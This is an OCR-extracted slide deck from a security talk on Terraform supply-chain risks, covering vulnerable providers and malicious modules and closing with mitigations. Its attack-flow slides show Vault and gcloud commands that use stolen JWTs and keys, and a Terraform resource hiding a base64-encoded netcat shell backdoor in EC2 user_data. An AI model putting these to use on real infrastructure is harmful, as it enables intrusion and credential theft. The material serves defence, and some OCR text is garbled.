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Who Am I?

Uri Aronovici, CTO & Co-Founder, ZEST Security

e  Over adecade of experience in cyber security

e  Specialized in both offensive & defensive security
practices

e  Former lead security architect focused on building and
managing vulnerability management & cloud security
programs in large enterprises
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How we got here
Analysis of potential Terraform risks
Why we should care

Two possible attack flows

Takeaways
o  Best practices
o  Mitigations



Developer / Terraform / HCP Terraform / System Architecture / Security Model

/| What Isn't part of the threat model
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Malicious Terraform providers or modules

Terraform providers and modules used in your Terraform configuration will have full access to
the variables and Terraform state within a workspace. HCP Terraform cannot prevent
malicious providers and modules from exfiltrating this sensitive data. We recommend only

using trusted modules and providers within your Terraform configuration.




Providers vs Modules

Providers Modules
e Plugins that interact directly with APIs (e.g.. AWS, e  Organize and simplify complex infrastructure
GCP). code.
e Define resources like aws_instance, gcp_bucket, e Abstract and group related resources into
etfc. reusable components.
e Attack surface: Golang, RPC and HTTPS e Example: A module for provisioning EC2
e Example: AWS Provider manages EC2 instances, instances with associated networking.
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S3 buckets, etc.
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The 3 Tiers




Community providers
have the most known
critical and high
vulnerabilities.
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Critical & High Vulnerabilities
by Provider Type

partner

community

Analysis of ten of the most popular official,
partner and community providers.



Does having more known vulnerabilities
make you more or less secure”
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Downloads This Month:
Top Community Providers
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Why is this important ?

e Attractive target
e Major blind spot in most AppSec programs

e Manual & expensive remediation
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Two Attack Scenarios

Abusing Terraform 3rd Parties

» Exploiting known vulnerable providers

» Malicious Terraform modules
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#1 - Exploiting Vulnerable Providers

e CVE-2021-30476 - a vulnerability in Vault provider

e Risk - Attackers could bypass authentication and gain access o sensitive
secrets or configuratfions
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Example Attack Flow

Identify GCP
configurations

Obtains read-only
access to GCP

Exploits the Vault
provider
vulnerability

Initial Access Low Priv Exploitation

resource "vault_gcp_auth_backend" "example" { backend
="gcp" credentials = "${file("credentials.]

bound_service_accounts =
["admin-role@my-gcp-project.iam.gserviceaccount.com"]
bound_labels = [admin-role] ->

|

vault write auth/gcp/login BypOSSGS bound
role="admin-role" constraints
jwt="<stolen-jwt>"

gcloud auth activate-service-account
stolen_service_account
--key-file=stolen_account_key

Privilege Escalation

Lateral
movement

Data
exfiltration

Service
disruption




No Exploitation Needed...

e ferraform-provider-power-platform(Microsoft) - CVE-2024-47083
e ferraform-provider-consul

e ferraform-provider-akamai
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H2 - Malicious Modules

e Attackers can upload a malicious module to Terraform Registry or GitHub

e The module installer supports installation from a number of different source types

Local paths

Terraform Registry

GitHub

Bitbucket

Generic Git, Mercurial repositories
HTTP URLs

S3 buckets

GCS buckets

Modules in Package Sub-directories

In our Example: A Terraform module that provisions an EC2 instance but injects a hidden
backdoor in the user_data.
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Example Attack Flow

Publish malicious Victim applies the Terraform EC2 instance
module malicious module executes the created
module

provider "aws" {
region = "us-west-2"
profile = "demo"

}

module "ec2_instance" {
source = "./malicious_module"

# Legitimate inputs to the module
instance_type = "t2.micro"
ami_id = "ami-08d8ac128e0a1b91c" # Replace with valid AMI

}

Attacker
communication
established



Example Attack Flow

resource "aws_instance" "example" {
ami = "ami-04dd23e62ed049936" # Replace with a valid AMI
instance_type = "t2.micro"

# Regular legitimate tags
tags = {
Name = "Instance with backdoor"

}

# Obfuscated backdoor payload using base64-encoded user_data
user_data = base64decode(
"lyEvYmluL2Jhc2gKCmVjaG8gJ0luc3RhbGxpbmcgYmFja2Rvb31gZGF0Y S4uLicKbm9odXAgbmMgLWx2cCAONDQOIC1IIC9iaW4vYmFzaCB8ICYg"
)
}

output "instance_id" {
value = aws_instance.example.id

}



Takeaways



Best Practices
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Due diligence: Documentation, source code, community feedback, efc.
Regular scanning: Scan cloud repositories and code for vulnerabilities

Version pinning: Pin the version of your providers to reduce the possibility of infroducing
vulnerabilities

o Enable state locking

o Put your terraform.lock.hcl under version control

Auditing & monitoring: Regularly audit your Terraform plans and state files for misconfiguration
& unexpected changes

laC security tools: Scan your configurations for security issues (but not only)
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What about Mitigation?

IAM Roles & Policies
o Protect access to ClI/CD systems, application logs and especially .tfstate
o Use dedicated IAM roles for Terraform with temporary credentials rather than long-lived
secrefs

o Network restrictions (e.g. VPC, LB, WAF) to enable only known communication between services

CWPP/SASE prevention for known malicious communication channels

e Cloudwatch
o  Terraform State File Access Monitoring: This rule detects attfempts to read or write
Terraform state files, including both legitimate and suspicious access
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Q&A

Follow me on Linkedin
https://www.linkedin.com/in/uri-aronovici/



A
Thank You'!

zestsecurity.io



